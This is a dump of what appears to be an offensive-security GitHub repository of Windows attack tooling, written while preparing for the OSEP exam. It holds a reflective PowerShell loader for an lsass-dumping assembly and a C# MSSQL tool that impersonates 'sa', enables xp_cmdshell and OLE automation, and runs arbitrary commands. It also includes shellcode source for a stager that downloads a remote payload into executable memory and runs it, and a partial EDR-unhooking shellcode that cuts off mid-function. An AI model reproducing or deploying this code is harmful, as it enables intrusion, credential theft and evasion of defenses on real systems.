AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
11 | $assem = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64data))
12 | [SneakDump.SneakDump]::Main($Command.Split(" "))
13 |
14 |
15 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DupDump
2 | Created this project because I wanted to port the technique in pypykatz to get prexisting handles to lsass.exe written about here https://skelsec.medium.com/duping-av-with-handles-537ef985eb03
3 | I got the code to get process handles from this Stack Overflow answer here https://stackoverflow.com/questions/54872228/c-sharp-how-to-find-all-handles-associated-with-current-process
4 |
5 | # SQL
6 | I created this project when I was doing the OSEP exam. It simply makes it easier to do MSSQL attacks on a compromised windows server. It uses kerberos auth to authenticate servers.
7 |
8 | # Manual Map Csharp
9 | This is a simple C# port of the code found in this ired.team article https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
10 |
--------------------------------------------------------------------------------
/SQL/sql.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Diagnostics;
4 |
5 | namespace sql
6 | {
7 | // Token: 0x02000002 RID: 2
8 | public static class Program
9 | {
10 | // Token: 0x06000001 RID: 1 RVA: 0x00002048 File Offset: 0x00000248
11 | public static void Main(string[] args)
12 | {
13 | if (args.Length < 1)
14 | {
15 | Console.WriteLine("[*] USAGE: " + Process.GetCurrentProcess().ProcessName + " ");
16 | Environment.Exit(0);
17 | }
18 | string text = args[0];
19 | string text2 = text;
20 | string text3 = "master";
21 | SqlConnection sqlConnection = new SqlConnection(string.Concat(new string[]
22 | {
23 | "Server = ",
24 | text2,
25 | "; Database = ",
26 | text3,
27 | "; Integrated Security = True;"
28 | }));
29 | if (args[1] == "help")
30 | {
31 | String helpMsg = "[*] "+Process.GetCurrentProcess().ProcessName + " enum\n[*] "+Process.GetCurrentProcess().ProcessName + " unc \n[*] "+Process.GetCurrentProcess().ProcessName + " xpcmd \n[*] "+Process.GetCurrentProcess().ProcessName + " spcreate \n[*] "+Process.GetCurrentProcess().ProcessName + " runsql \n";
32 | Console.WriteLine(helpMsg);
33 | Environment.Exit(0);
34 | }
35 | try
36 | {
37 | sqlConnection.Open();
38 | Console.WriteLine("[+] Auth on " + text + " was successful");
39 | }
40 | catch
41 | {
42 | Console.WriteLine("[+] Auth on " + text + " was not successful");
43 | }
44 | try
45 | {
46 | if (args[1] == "enum")
47 | {
48 | Program.EnumAuth(text, sqlConnection);
49 | }
50 | if (args[1] == "unc")
51 | {
52 | string smbServer = args[2];
53 | string smbPath = args[3];
54 | Program.UncInject(text, sqlConnection, smbServer, smbPath);
55 | }
56 | if (args[1] == "xpcmd")
57 | {
58 | string text4 = args[2];
59 | Console.WriteLine("[*] Attempting to run " + text4);
60 | Program.XpCmdShell(text, sqlConnection, text4);
61 | }
62 | if (args[1] == "spcreate")
63 | {
64 | string text5 = args[2];
65 | string commandType = args[3];
66 | Console.WriteLine("[*] Attempting to run " + text5);
67 | Program.SpOaCreate(text, sqlConnection, text5, commandType);
68 | }
69 | if (args[1] == "runsql")
70 | {
71 | string sqlCmd = args[2];
72 | Program.RunSql(text, sqlConnection, sqlCmd);
73 | }
74 |
75 | }
76 | catch
77 | {
78 | Console.WriteLine("");
79 | }
80 | }
81 |
82 | // Token: 0x06000002 RID: 2 RVA: 0x000021F0 File Offset: 0x000003F0
83 | public static void EnumAuth(string server, SqlConnection con)
84 | {
85 | Console.WriteLine("[*] Checking for system user");
86 | SqlDataReader sqlDataReader = new SqlCommand("SELECT SYSTEM_USER;", con).ExecuteReader();
87 | sqlDataReader.Read();
88 | string str = "[+] Logged in as: ";
89 | object obj = sqlDataReader[0];
90 | Console.WriteLine(str + ((obj != null) ? obj.ToString() : null));
91 | sqlDataReader.Close();
92 | Console.WriteLine("[*] Checking for database user");
93 | sqlDataReader = new SqlCommand("SELECT CURRENT_USER;", con).ExecuteReader();
94 | sqlDataReader.Read();
95 | string str2 = "[+] SQL user: ";
96 | object obj2 = sqlDataReader[0];
97 | Console.WriteLine(str2 + ((obj2 != null) ? obj2.ToString() : null));
98 | sqlDataReader.Close();
99 | Console.WriteLine("[*] Checking user role");
100 | sqlDataReader = new SqlCommand("SELECT IS_SRVROLEMEMBER('public');", con).ExecuteReader();
101 | sqlDataReader.Read();
102 | if (int.Parse(sqlDataReader[0].ToString()) == 1)
103 | {
104 | Console.WriteLine("[+] User is a member of public role");
105 | }
106 | else
107 | {
108 | Console.WriteLine("[-] User is NOT a member of public role");
109 | }
110 | sqlDataReader.Close();
111 | sqlDataReader = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin');", con).ExecuteReader();
112 | sqlDataReader.Read();
113 | if (int.Parse(sqlDataReader[0].ToString()) == 1)
114 | {
115 | Console.WriteLine("[+] User is a member of sysadmin role");
116 | }
117 | else
118 | {
119 | Console.WriteLine("[+] User is NOT a member of sysadmin role");
120 | }
121 | sqlDataReader.Close();
122 | Console.WriteLine("Checking if impersonation is possible");
123 | sqlDataReader = new SqlCommand("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; ", con).ExecuteReader();
124 | while (sqlDataReader.Read())
125 | {
126 | string str3 = "[*] Logins that can be impersonated: ";
127 | object obj3 = sqlDataReader[0];
128 | Console.WriteLine(str3 + ((obj3 != null) ? obj3.ToString() : null));
129 | }
130 | }
131 |
132 | // Token: 0x06000003 RID: 3 RVA: 0x00002372 File Offset: 0x00000572
133 | public static void UncInject(string server, SqlConnection con, string SmbServer, string SmbPath)
134 | {
135 | new SqlCommand(string.Concat(new string[]
136 | {
137 | "EXEC master..xp_dirtree \"\\\\",
138 | SmbServer,
139 | "\\\\",
140 | SmbPath,
141 | "\";"
142 | }), con).ExecuteReader().Close();
143 | }
144 |
145 | // Token: 0x06000004 RID: 4 RVA: 0x000023B0 File Offset: 0x000005B0
146 | public static void XpCmdShell(string server, SqlConnection con, string cmdCommand)
147 | {
148 | SqlCommand sqlCommand = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin');", con);
149 | SqlDataReader sqlDataReader = sqlCommand.ExecuteReader();
150 | sqlDataReader.Read();
151 | int num = int.Parse(sqlDataReader[0].ToString());
152 | sqlDataReader.Close();
153 | if (num != 1)
154 | {
155 | string cmdText = "EXECUTE AS LOGIN = 'sa';";
156 | string cmdText2 = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ";
157 | string text = "EXEC xp_cmdshell \"" + cmdCommand + "\";";
158 | sqlCommand = new SqlCommand(cmdText, con);
159 | sqlDataReader = sqlCommand.ExecuteReader();
160 | sqlDataReader.Close();
161 | sqlCommand = new SqlCommand(cmdText2, con);
162 | sqlDataReader = sqlCommand.ExecuteReader();
163 | sqlDataReader.Close();
164 | sqlCommand = new SqlCommand(text, con);
165 | Console.WriteLine(text);
166 | sqlDataReader = sqlCommand.ExecuteReader();
167 | sqlDataReader.Read();
168 | string str = "> ";
169 | object obj = sqlDataReader[0];
170 | Console.WriteLine(cmdCommand + str + ((obj != null) ? obj.ToString() : null));
171 | sqlDataReader.Close();
172 | return;
173 | }
174 | string cmdText3 = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ";
175 | string text2 = "EXEC xp_cmdshell \"" + cmdCommand + "\";";
176 | Console.WriteLine(text2);
177 | sqlCommand = new SqlCommand(cmdText3, con);
178 | sqlDataReader = sqlCommand.ExecuteReader();
179 | sqlDataReader.Close();
180 | sqlCommand = new SqlCommand(text2, con);
181 | sqlDataReader = sqlCommand.ExecuteReader();
182 | sqlDataReader.Read();
183 | string str2 = " Output: ";
184 | object obj2 = sqlDataReader[0];
185 | Console.WriteLine(cmdCommand + str2 + ((obj2 != null) ? obj2.ToString() : null));
186 | sqlDataReader.Close();
187 | }
188 |
189 | // Token: 0x06000005 RID: 5 RVA: 0x000024F4 File Offset: 0x000006F4
190 | public static void SpOaCreate(string server, SqlConnection con, string cmdCommand, string CommandType)
191 | {
192 | string text = "";
193 | if (CommandType == "p")
194 | {
195 | text = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell \"" + cmdCommand + "\"';";
196 | }
197 | if (CommandType == "c")
198 | {
199 | text = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"" + cmdCommand + "\"';";
200 | }
201 | SqlDataReader sqlDataReader = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin');", con).ExecuteReader();
202 | sqlDataReader.Read();
203 | int num = int.Parse(sqlDataReader[0].ToString());
204 | sqlDataReader.Close();
205 | if (num != 1)
206 | {
207 | string cmdText = "EXECUTE AS LOGIN = 'sa';";
208 | string cmdText2 = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; ";
209 | Console.WriteLine(text);
210 | sqlDataReader = new SqlCommand(cmdText, con).ExecuteReader();
211 | sqlDataReader.Close();
212 | sqlDataReader = new SqlCommand(cmdText2, con).ExecuteReader();
213 | sqlDataReader.Close();
214 | sqlDataReader = new SqlCommand(text, con).ExecuteReader();
215 | return;
216 | }
217 | sqlDataReader = new SqlCommand("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; ", con).ExecuteReader();
218 | sqlDataReader.Close();
219 | sqlDataReader = new SqlCommand(text, con).ExecuteReader();
220 | sqlDataReader.Close();
221 | }
222 |
223 | // Token: 0x06000006 RID: 6 RVA: 0x000025E4 File Offset: 0x000007E4
224 | public static void RunSql(string server, SqlConnection con, string sqlCmd)
225 | {
226 | SqlDataReader sqlDataReader = new SqlCommand(sqlCmd, con).ExecuteReader();
227 | while (sqlDataReader.Read())
228 | {
229 | string str = "Output> ";
230 | object obj = sqlDataReader[0];
231 | Console.WriteLine(str + ((obj != null) ? obj.ToString() : null));
232 | }
233 | sqlDataReader.Close();
234 | }
235 |
236 | // Token: 0x06000007 RID: 7 RVA: 0x00002630 File Offset: 0x00000830
237 |
238 | }
239 | }
240 |
--------------------------------------------------------------------------------
/SQL/sql.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/SQL/sql.exe
--------------------------------------------------------------------------------
/Stager/Makefile:
--------------------------------------------------------------------------------
1 | # Makefile used in the original post here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/
2 | make:
3 | nasm -f win64 adjuststack.asm -o adjuststack.o
4 | x86_64-w64-mingw32-g++ stager.cpp -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o stager.o -Wl,-Tlinker.ld,--no-seh
5 | x86_64-w64-mingw32-ld -s adjuststack.o stager.o -o stager.exe
6 |
--------------------------------------------------------------------------------
/Stager/README.md:
--------------------------------------------------------------------------------
1 | # Stager
2 |
3 | I wanted to play around with the technique of creating custom shellcode by writing PIC in C / C++ and extracting the opcodes from .text. I first read about the technique here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ and used the adjuststack.asm and make file that he included here.
4 |
5 | peb-lookup.h was gotten from the ired.team post about the same technique here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough
6 |
--------------------------------------------------------------------------------
/Stager/adjuststack.asm:
--------------------------------------------------------------------------------
1 | extern stager
2 | global alignstack
3 |
4 | segment .text
5 |
6 | alignstack:
7 | push rsi ; Preserve RSI since we're stomping on it
8 | mov rsi, rsp ; Save the value of RSP so it can be restored
9 | and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
10 | sub rsp, 020h ; Allocate homing space for ExecutePayload
11 | call stager ; Call the entry point of the payload
12 | mov rsp, rsi ; Restore the original value of RSP
13 | pop rsi ; Restore RSI
14 | ret ; Return to caller
15 |
--------------------------------------------------------------------------------
/Stager/adjuststack.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/Stager/adjuststack.o
--------------------------------------------------------------------------------
/Stager/linker.ld:
--------------------------------------------------------------------------------
1 | /* Linker script gotten from original project found here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/*/
2 |
3 | ENTRY(alignstack)
4 | SECTIONS
5 | {
6 | .text:
7 | {
8 | *(.text.alignstack)
9 | *(.text.stager)
10 | }
11 | }
12 |
13 |
--------------------------------------------------------------------------------
/Stager/opcodes.sh:
--------------------------------------------------------------------------------
1 | for i in $(objdump -d stager.exe | grep "^ " | cut -f 2); do echo -n "0x"$i","; done > stager.bin
2 |
--------------------------------------------------------------------------------
/Stager/peb-lookup.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #ifndef __NTDLL_H__
6 |
7 | #ifndef TO_LOWERCASE
8 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
9 | #endif
10 |
11 | // peb-lookup.h was pulled from the ired.team article about this technique located here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough
12 |
13 | typedef struct _UNICODE_STRING
14 | {
15 | USHORT Length;
16 | USHORT MaximumLength;
17 | PWSTR Buffer;
18 |
19 | } UNICODE_STRING, * PUNICODE_STRING;
20 |
21 | typedef struct _PEB_LDR_DATA
22 | {
23 | ULONG Length;
24 | BOOLEAN Initialized;
25 | HANDLE SsHandle;
26 | LIST_ENTRY InLoadOrderModuleList;
27 | LIST_ENTRY InMemoryOrderModuleList;
28 | LIST_ENTRY InInitializationOrderModuleList;
29 | PVOID EntryInProgress;
30 |
31 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
32 |
33 | //here we don't want to use any functions imported form extenal modules
34 |
35 | typedef struct _LDR_DATA_TABLE_ENTRY {
36 | LIST_ENTRY InLoadOrderModuleList;
37 | LIST_ENTRY InMemoryOrderModuleList;
38 | LIST_ENTRY InInitializationOrderModuleList;
39 | void* BaseAddress;
40 | void* EntryPoint;
41 | ULONG SizeOfImage;
42 | UNICODE_STRING FullDllName;
43 | UNICODE_STRING BaseDllName;
44 | ULONG Flags;
45 | SHORT LoadCount;
46 | SHORT TlsIndex;
47 | HANDLE SectionHandle;
48 | ULONG CheckSum;
49 | ULONG TimeDateStamp;
50 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
51 |
52 |
53 | typedef struct _PEB
54 | {
55 | BOOLEAN InheritedAddressSpace;
56 | BOOLEAN ReadImageFileExecOptions;
57 | BOOLEAN BeingDebugged;
58 | BOOLEAN SpareBool;
59 | HANDLE Mutant;
60 |
61 | PVOID ImageBaseAddress;
62 | PPEB_LDR_DATA Ldr;
63 |
64 | // [...] this is a fragment, more elements follow here
65 |
66 | } PEB, * PPEB;
67 |
68 | #endif //__NTDLL_H__
69 |
70 | inline LPVOID get_module_by_name(WCHAR* module_name)
71 | {
72 | PPEB peb = NULL;
73 | #if defined(_WIN64)
74 | peb = (PPEB)__readgsqword(0x60);
75 | #else
76 | peb = (PPEB)__readfsdword(0x30);
77 | #endif
78 | PPEB_LDR_DATA ldr = peb->Ldr;
79 | LIST_ENTRY list = ldr->InLoadOrderModuleList;
80 |
81 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
82 | PLDR_DATA_TABLE_ENTRY curr_module = Flink;
83 |
84 | while (curr_module != NULL && curr_module->BaseAddress != NULL) {
85 | if (curr_module->BaseDllName.Buffer == NULL) continue;
86 | WCHAR* curr_name = curr_module->BaseDllName.Buffer;
87 |
88 | size_t i = 0;
89 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
90 | WCHAR c1, c2;
91 | TO_LOWERCASE(c1, module_name[i]);
92 | TO_LOWERCASE(c2, curr_name[i]);
93 | if (c1 != c2) break;
94 | }
95 | if (module_name[i] == 0 && curr_name[i] == 0) {
96 | //found
97 | return curr_module->BaseAddress;
98 | }
99 | // not found, try next:
100 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
101 | }
102 | return NULL;
103 | }
104 |
105 | inline LPVOID get_func_by_name(LPVOID module, char* func_name)
106 | {
107 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
108 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
109 | return NULL;
110 | }
111 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
112 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
113 | if (exportsDir->VirtualAddress == NULL) {
114 | return NULL;
115 | }
116 |
117 | DWORD expAddr = exportsDir->VirtualAddress;
118 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
119 | SIZE_T namesCount = exp->NumberOfNames;
120 |
121 | DWORD funcsListRVA = exp->AddressOfFunctions;
122 | DWORD funcNamesListRVA = exp->AddressOfNames;
123 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
124 |
125 | //go through names:
126 | for (SIZE_T i = 0; i < namesCount; i++) {
127 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
128 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
129 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
130 |
131 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
132 | size_t k = 0;
133 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
134 | if (func_name[k] != curr_name[k]) break;
135 | }
136 | if (func_name[k] == 0 && curr_name[k] == 0) {
137 | //found
138 | return (BYTE*)module + (*funcRVA);
139 | }
140 | }
141 | return NULL;
142 | }
143 |
--------------------------------------------------------------------------------
/Stager/stager.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "peb-lookup.h"
4 |
5 | typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) (LPVOID lpThreadParameter);
6 | typedef LPVOID HINTERNET;
7 | typedef WORD INTERNET_PORT;
8 |
9 | extern "C"
10 |
11 | int stager()
12 | {
13 | wchar_t kernel32_dll_str[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
14 | char load_lib_str[] = { 'L','o','a','d','L','i','b','r','a','r','y','A', 0 };
15 | char get_proc_str[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 };
16 | char virtual_alloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 };
17 |
18 | char wininet_dll_str[] = {'W','i','n','i','n','e','t','.','d','l','l',0};
19 | char internet_open_str[] = {'I','n','t','e','r','n','e','t','O','p','e','n','A',0};
20 | char internet_connect_str[] = {'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','A',0};
21 | char http_open_request_str[] = {'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','A',0};
22 | char http_send_request_str[] = {'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','A',0};
23 | char internet_read_str[] = {'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0};
24 |
25 | LPVOID pKernel32 = get_module_by_name((const LPWSTR)kernel32_dll_str);
26 | if (!pKernel32) {
27 | return 1;
28 | }
29 |
30 | // resolve loadlibraryA() address
31 | LPVOID pLoadLibrary = get_func_by_name((HMODULE)pKernel32, (LPSTR)load_lib_str);
32 | if (!pLoadLibrary) {
33 | return 2;
34 | }
35 |
36 | // resolve getprocaddress() address
37 | LPVOID pGetProcAddress = get_func_by_name((HMODULE)pKernel32, (LPSTR)get_proc_str);
38 | if (!pGetProcAddress) {
39 | return 3;
40 | }
41 |
42 | HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR)) pLoadLibrary;
43 | FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) pGetProcAddress;
44 | LPVOID(WINAPI * _VirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect) = (LPVOID(WINAPI*)(LPVOID,SIZE_T,DWORD,DWORD)) _GetProcAddress((HMODULE)pKernel32,virtual_alloc_str);
45 |
46 | LPVOID pWininet = _LoadLibraryA(wininet_dll_str);
47 |
48 | HINTERNET(WINAPI * _InternetOpenA)(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags) = (HINTERNET(WINAPI*)(LPCSTR,DWORD,LPCSTR,LPCSTR,DWORD)) _GetProcAddress((HMODULE)pWininet,internet_open_str);
49 | HINTERNET(WINAPI * _InternetConnectA)(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext) = (HINTERNET(WINAPI*)(HINTERNET,LPCSTR,INTERNET_PORT,LPCSTR,LPCSTR,DWORD,DWORD,DWORD_PTR)) _GetProcAddress((HMODULE)pWininet,internet_connect_str);
50 | HINTERNET(WINAPI * _HttpOpenRequestA)(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext) = (HINTERNET(WINAPI*)(HINTERNET,LPCSTR,LPCSTR,LPCSTR,LPCSTR,LPCSTR*,DWORD,DWORD_PTR)) _GetProcAddress((HMODULE)pWininet,http_open_request_str);
51 | BOOL(WINAPI * _HttpSendRequestA)(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength) = (BOOL(WINAPI*)(HINTERNET,LPCSTR,DWORD,LPVOID,DWORD)) _GetProcAddress((HMODULE)pWininet,http_send_request_str);
52 | BOOL(WINAPI* _InternetReadFile)(HINTERNET hFile,LPVOID lpBuffer,DWORD dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead) = (BOOL(WINAPI*)(HINTERNET,LPVOID,DWORD,LPDWORD)) _GetProcAddress((HMODULE)pWininet,internet_read_str);
53 |
54 | BOOL isRead = TRUE;
55 | DWORD bytes_received = 0;
56 | DWORD flag_reload = 0x80000000;
57 | DWORD flag_no_cache_write = 0x04000000;
58 | DWORD flag_keep_connection = 0x00400000;
59 | DWORD flag_no_auto_redirect = 0x00200000;
60 | DWORD flag_no_ui = 0x00000200;
61 |
62 | char ip[] = {'a',0};
63 | char method[] = {'G','E','T',0};
64 | char file[] = {'/','t','e','s','t','.','b','i','n',0};
65 | HINTERNET hInt = _InternetOpenA(NULL,0,NULL,NULL,0);
66 | HINTERNET hConnect = _InternetConnectA(hInt, ip,8000,NULL,NULL,3,NULL,NULL);
67 | HINTERNET hRequest = _HttpOpenRequestA(hConnect,method,file,NULL,NULL,NULL,flag_reload | flag_no_cache_write | flag_keep_connection | flag_no_auto_redirect | flag_no_ui,NULL);
68 |
69 | BOOL req = _HttpSendRequestA(hRequest,NULL,0,NULL,0);
70 | LPVOID buffer = _VirtualAlloc(NULL, 60222, MEM_COMMIT, 0x40);
71 | LPVOID base = buffer;
72 | DWORD offset = 0;
73 | while (isRead == TRUE)
74 | {
75 | DWORD dwByteRead;
76 | isRead = _InternetReadFile(hRequest,buffer,60223 - 1,&dwByteRead);
77 | offset += dwByteRead;
78 | buffer = (LPVOID)((DWORD_PTR)buffer+offset);
79 | if (isRead == FALSE || dwByteRead == 0)
80 | {
81 | isRead = FALSE;
82 | break;
83 | }
84 |
85 | }
86 | void (*go)() = (void (*)()) base; go();
87 | return 0;
88 | }
89 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/UnhookShellcode/Makefile:
--------------------------------------------------------------------------------
1 | # Makefile used in the original post here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/
2 | make:
3 | nasm -f win64 adjuststack.asm -o adjuststack.o
4 | x86_64-w64-mingw32-g++ dll-unook.cpp -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o dll-unook.o -Wl,-Tlinker.ld,--no-seh
5 | x86_64-w64-mingw32-ld -s adjuststack.o dll-unook.o -o dll-unook.exe
6 |
--------------------------------------------------------------------------------
/UnhookShellcode/README.md:
--------------------------------------------------------------------------------
1 | # UnhookingShellcode
2 |
3 | I wanted to play around with the technique of creating custom shellcode by writing PIC in C / C++ and extracting the opcodes from .text. I first read about the technique here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ and used the adjuststack.asm and make file that he included here.
4 |
5 | peb-lookup.h was gotten from the ired.team post about the same technique here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough
6 |
7 | PIC cpp code was made from the DLL unhooking code from ired.team here https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
8 |
9 | Inject into a remote process to remap ntdll.dll
10 |
--------------------------------------------------------------------------------
/UnhookShellcode/adjuststack.asm:
--------------------------------------------------------------------------------
1 | extern unhook
2 | global alignstack
3 |
4 | segment .text
5 |
6 | alignstack:
7 | push rsi ; Preserve RSI since we're stomping on it
8 | mov rsi, rsp ; Save the value of RSP so it can be restored
9 | and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
10 | sub rsp, 020h ; Allocate homing space for ExecutePayload
11 | call unhook ; Call the entry point of the payload
12 | mov rsp, rsi ; Restore the original value of RSP
13 | pop rsi ; Restore RSI
14 | ret ; Return to caller
15 |
--------------------------------------------------------------------------------
/UnhookShellcode/adjuststack.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/UnhookShellcode/adjuststack.o
--------------------------------------------------------------------------------
/UnhookShellcode/dll-unook.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "peb-lookup.h"
4 |
5 | extern "C"
6 |
7 | int unhook()
8 | {
9 |
10 | typedef struct _MODULEINFO {
11 | LPVOID lpBaseOfDll;
12 | DWORD SizeOfImage;
13 | LPVOID EntryPoint;
14 | } MODULEINFO, *LPMODULEINFO;
15 |
16 | typedef struct _SECURITY_ATTRIBUTES {
17 | DWORD nLength;
18 | LPVOID lpSecurityDescriptor;
19 | BOOL bInheritHandle;
20 | } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
21 |
22 | wchar_t kernel32_dll_str[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
23 | char kernel_base_dll[] = {'k','e','r','n','e','l','b','a','s','e','.','d','l','l',0};
24 | char load_lib_str[] = { 'L','o','a','d','L','i','b','r','a','r','y','A', 0 };
25 | char get_proc_str[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 };
26 | char get_current_proc[] = {'G','e','t','C','u','r','r','e','n','t','P','r','o','c','e','s','s',0};
27 | char get_mod_handle[] = {'G','e','t','M','o','d','u','l','e','H','a','n','d','l','e','A',0};
28 | char get_mod_information[] = {'G','e','t','M','o','d','u','l','e','I','n','f','o','r','m','a','t','i','o','n',0};
29 | char create_file[] = {'C','r','e','a','t','e','F','i','l','e','A',0};
30 | char create_mapping[] = {'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A',0};
31 | char map_view[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e',0};
32 | char virtual_protect[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0};
33 | char close_handle[] = {'C','l','o','s','e','H','a','n','d','l','e',0};
34 | char free_lib[] = {'F','r','e','e','L','i','b','r','a','r','y',0};
35 |
36 | char msvcrt_dll[] = {'m','s','v','c','r','t','.','d','l','l',0};
37 | char strcmp_str[] = {'s','t','r','c','m','p',0};
38 | char memcpy_str[] = {'m','e','m','c','p','y',0};
39 | char printf_str[] = {'p','r','i','n','t','f',0};
40 |
41 | LPVOID pKernel32 = get_module_by_name((const LPWSTR)kernel32_dll_str);
42 | LPVOID pLoadLibrary = get_func_by_name((HMODULE)pKernel32, (LPSTR)load_lib_str);
43 | LPVOID pGetProcAddress = get_func_by_name((HMODULE)pKernel32, (LPSTR)get_proc_str);
44 | HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR)) pLoadLibrary;
45 | FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) pGetProcAddress;
46 | HANDLE(WINAPI * _GetCurrentProcess)() = (HANDLE(WINAPI*)()) _GetProcAddress((HMODULE)pKernel32,get_current_proc);
47 | HMODULE(WINAPI * _GetModuleHandleA)(LPCSTR lpModuleName) = (HMODULE(WINAPI*)(LPCSTR)) _GetProcAddress((HMODULE)pKernel32,get_mod_handle);
